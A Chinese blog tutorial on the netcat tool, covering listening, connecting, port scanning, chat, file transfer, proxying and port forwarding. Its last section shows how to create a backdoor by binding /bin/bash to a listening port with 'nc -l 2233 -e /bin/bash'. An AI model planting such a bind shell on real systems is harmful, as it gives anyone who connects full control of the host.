一款实用的网络工具 Netcat

本贴最后更新于 2290 天前,其中的信息可能已经时移世改

Netcat 是一个实用的网络工具,使用 TCP / IP 协议跨网络连接读取和写入数据。它被设计成一个可靠的“后端”工具,可以直接使用或由其他程序和脚本轻松驱动。
使用 yum 安装 netcat

yum install nmap-ncat -y

使用 nc -h 查看该命令的用法

[wxyuan@node1 ~]$ nc -h Ncat 7.50 ( https://nmap.org/ncat ) Usage: ncat [options] [hostname] [port] Options taking a time assume seconds. Append 'ms' for milliseconds, 's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms). -4 Use IPv4 only -6 Use IPv6 only -U, --unixsock Use Unix domain sockets only -C, --crlf Use CRLF for EOL sequence -c, --sh-exec <command> Executes the given command via /bin/sh -e, --exec <command> Executes the given command --lua-exec <filename> Executes the given Lua script -g hop1[,hop2,...] Loose source routing hop points (8 max) -G <n> Loose source routing hop pointer (4, 8, 12, ...) -m, --max-conns <n> Maximum <n> simultaneous connections -h, --help Display this help screen -d, --delay <time> Wait between read/writes -o, --output <filename> Dump session data to a file -x, --hex-dump <filename> Dump session data as hex to a file -i, --idle-timeout <time> Idle read/write timeout -p, --source-port port Specify source port to use -s, --source addr Specify source address to use (doesn't affect -l) -l, --listen Bind and listen for incoming connections -k, --keep-open Accept multiple connections in listen mode -n, --nodns Do not resolve hostnames via DNS -t, --telnet Answer Telnet negotiations -u, --udp Use UDP instead of default TCP --sctp Use SCTP instead of default TCP -v, --verbose Set verbosity level (can be used several times) -w, --wait <time> Connect timeout -z Zero-I/O mode, report connection status only --append-output Append rather than clobber specified output files --send-only Only send data, ignoring received; quit on EOF --recv-only Only receive data, never send anything --allow Allow only given hosts to connect to Ncat --allowfile A file of hosts allowed to connect to Ncat --deny Deny given hosts from connecting to Ncat --denyfile A file of hosts denied from connecting to Ncat --broker Enable Ncat's connection brokering mode --chat Start a simple Ncat chat server --proxy <addr[:port]> Specify address of host to proxy through --proxy-type <type> Specify proxy type ("http" or "socks4" or "socks5") --proxy-auth <auth> Authenticate with HTTP or SOCKS proxy server --ssl Connect or listen with SSL --ssl-cert Specify SSL certificate file (PEM) for listening --ssl-key Specify SSL private key (PEM) for listening --ssl-verify Verify trust and domain name of certificates --ssl-trustfile PEM file containing trusted SSL certificates --ssl-ciphers Cipherlist containing SSL ciphers to use --version Display Ncat's version information and exit See the ncat(1) manpage for full options, descriptions and usage examples

分享几个 nc 的使用例子。

1. 监听入站连接

使用 -l 选项监听指定端口,默认监听 tcp 端口

nc -l 2233

使用 -u 选项指定监听 udp 端口。

nc -lu 2345

使用 -k 选项可以同时接收多个连接

nc -lk 2233

2. 连接远程系统

使用 nc 命令可以建立 tcp 连接,远程连接到对端主机。比如有 A 和 B 两台主机,首先 A(假设主机 IP 为 192.168.1.101)在主机上监听一个端口 2233,

nc -l 2233

然后在主机 B 上使用 nc 连接到 A 上

nc 192.168.1.101 2233

注意使用 nc 连接端口时,默认连接 tcp 端口,如果要连接 udp 端口,请使用 -u 选项

3. 测试端口连通性和扫描端口

使用 -z 选择可以测试端口联通性,带上 -v 选项显示详细信息

[wxyuan@node1 ~]$ nc -zv baidu.com 80 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 123.125.115.110:80. Ncat: 0 bytes sent, 0 bytes received in 0.32 seconds.

扫描端口

[wxyuan@node1 ~]$ nc -zv localhost 1-100 localhost [127.0.0.1] 22 (ssh) open localhost [127.0.0.1] 25 (smtp) open localhost [127.0.0.1] 88 (kerberos) open

4. 模拟聊天工具

nc 也可以作为聊天工具来用,我们可以配置服务器监听某个端口,然后从远程主机上连接到服务器的这个端口,就可以开始发送消息了。 假设有 A(192.168.1.101)和 B(192.168.1.102)两台主机。
首先,在 A 监听一个端口 6666

nc -l 6666

然后,在 B 机器上使用 nc 连接到该端口

nc 192.168.1.101 6666

接下来 A 和 B 就可以互相发送消息了,这些消息会在终端上显示出来。

5.传输文件

nc 也可以用来发送文件, 假设有 A(192.168.1.101)和 B(192.168.1.102)两台主机,A 主机上有个文件 readme.txt,现在我们想把这个文件传输到 B 机器上,那么我们可以这样做:
(1) 首先在 B 机器上启动 nc 并让它进入监听模式,这里我们监听 6789 端口

nc -l 6789 > readme.txt

(2) 然后在 A 机器上执行如下命令

nc 192.168.1.102 6789 < readme.txt

文件传输完成后,连接会自动关闭。
一般来说远程传输文件使用 scp 即可,简单方便,但假如 scp 不可用了,使用 nc 传输文件也是一个不错的选择。其实我就遇到这种情况,服务器禁止不受信任的 IP 远程 ssh,我便采用了 nc 来远程传输文件。

6. 使用 nc 做代理

nc 也可以用来做代理,假设有 A(192.168.1.101)、B(192.168.1.102)和 C(192.168.1.103)三台主机,
首先在 A 主机上执行下面这条命令

nc -l 2233 > nc 192.168.1.102 6789

然后在 B 主机上监听 6789 端口

nc -l 6789

所有发往 A 主机 2233 端口的连接都会被自动转发到 B 主机的 6789 端口,我们在 C 主机上执行命令 nc 192.168.1.101 2233 建立一个 tcp 连接,然后在终端上输入任意消息,你会看到在 B 主机终端上打印同样的消息。
不过由于我们使用了管道,数据只能被单向传输,即消息只能从 C 发往 B,而 C 不能接收 B 返回的消息(B 发送的消息会在 A 终端上打印出来)。要想同时能够接受返回的数据,我们需要创建一个双向管道。 在 A 主机上执行下述命令:

mkfifo 2pipes
nc -l 2233 0<2pipes | nc 192.168.1.102 6789 1>2pipes

同样地在 B 主机上监听 6789 端口

nc -l 6789

这次在 C 主机上执行命令 nc 192.168.1.101 2233 建立 tcp 连接后,B 和 C 就可以相互发消息了,类似上面的聊天例子,只是现在中间多了一个代理。

7. 使用 nc 做端口转发

通过选项 -c 选项进行端口转发,实现端口转发的语法为:

nc -l 8001 -c 'nc -l 8002'

这样,所有连接到 8001 端口的连接都会被转发到 8002 端口。

8. 使用 nc 创建后门

nc 命令还可以用来在系统中创建后门,怎么做呢,看下面这条命令

nc -l 2233 -e /bin/bash

-e 选项将一个 bash 与端口 2233 相连。现在客户端只要连接到服务器上的 2233 端口就能通过 bash 获取我们系统的完整访问权限:

nc 192.168.1.101 2233

  • NetCAT
    7 引用 • 7 回帖
  • Linux

    Linux 是一套免费使用和自由传播的类 Unix 操作系统,是一个基于 POSIX 和 Unix 的多用户、多任务、支持多线程和多 CPU 的操作系统。它能运行主要的 Unix 工具软件、应用程序和网络协议,并支持 32 位和 64 位硬件。Linux 继承了 Unix 以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。

    950 引用 • 943 回帖

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...